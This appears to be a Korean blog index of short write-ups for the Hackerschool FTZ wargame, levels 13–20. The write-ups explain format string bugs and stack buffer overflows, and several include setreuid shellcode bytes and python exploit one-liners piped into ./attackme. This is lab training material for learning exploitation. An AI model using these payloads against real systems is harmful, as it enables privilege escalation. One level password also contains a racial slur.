Write-Up/해커스쿨 FTZ (21) 썸네일형 리스트형 FTZ level20 대망의 마지막문제 원래 printf를 쓸때 printf("%s",blesh)이런식으로 포맷스트링을 넣어서 사용한다. 하지만 위 문제는 포맷 스트링 문자열을 인자로 넣지 않고 buf변수를 바로 넣어 호출하였다. 이점을 이용하여 format string bug 를 이용할것이다. 생소한 %n을 이용하여 변수값을 변조할 수 있다. 예를들어 AAAA 를 입력했다고 가정했을때 처음에는 당연히 AAAA를 출력한다. %n을 만나면 지금까지 출력된 자릿수를 계산한다. 계산하니 AAAA 4자리이다. 이제 스택의 다음 4바이트의 내용을 확인하면 0x41414141(AAAA)라는 것을 알 수 있다.. 메모리의 0x41414141이라는 주소에 계산한 자릿수 4를 써버린다. 그리고 %n 앞에 다른서식문자를 이용하여 %n이 인식하.. FTZ level19 buf 20 dummy 20 sfp 4 ret 4 44까지 넣고 ret을 환경변수로 ㄱ 제대로 한거같은데 자꾸 level19 pw가 뜬다 기존의 SHELLCODE에 setreuid(3100,3100); 의 기계어 코드인 "\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80" 를 추가해줘야 한다고 한다 FTZ level18 #include #include #include #include void shellout(void); int main() { char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("Enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds); if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1) { if(FD_.. FTZ level17 환경변수 공격 FTZ level16 buf 와 call까지 거리에 쓰레기값넣고 call을 shell로 덮어써주면 될듯 이전문제와 똑같다 쉘주소만 가져오면될것같다. (python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat)|./attackme 다음 FTZ level15 check값을 0xdeadbeef로 덮어주면 될것같다 buf = ebp-56 check = ebp-16 buf check 거리 = 40 (python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat)|./attackme FTZ level14 0x38만큼 확보한다 56만큼 확보하는데 4 + 4 + 20 = 28 나머지 28 = dummy check를 deadbeef로 덮으면 되니까 입력은 45개 받으니 잡기술로 deadbeef 11번 반복시키면 들어가겠지 FTZ level13 login : level13 pw : have no clue 스택구조 ret = 4byte sfp = 4byte dummy = 8byte i = 4byte dummy = 12byte buf = 1024byte \x90 * 1036 + \x67\x45\x23\x01 + \x90 * 12 + ret 이전문제에서 환경변수로 쉘코드를 지정해놨으니 그대로 쓰겠다 0xbffffefc pw : what that nigga want? 이전 1 2 3 다음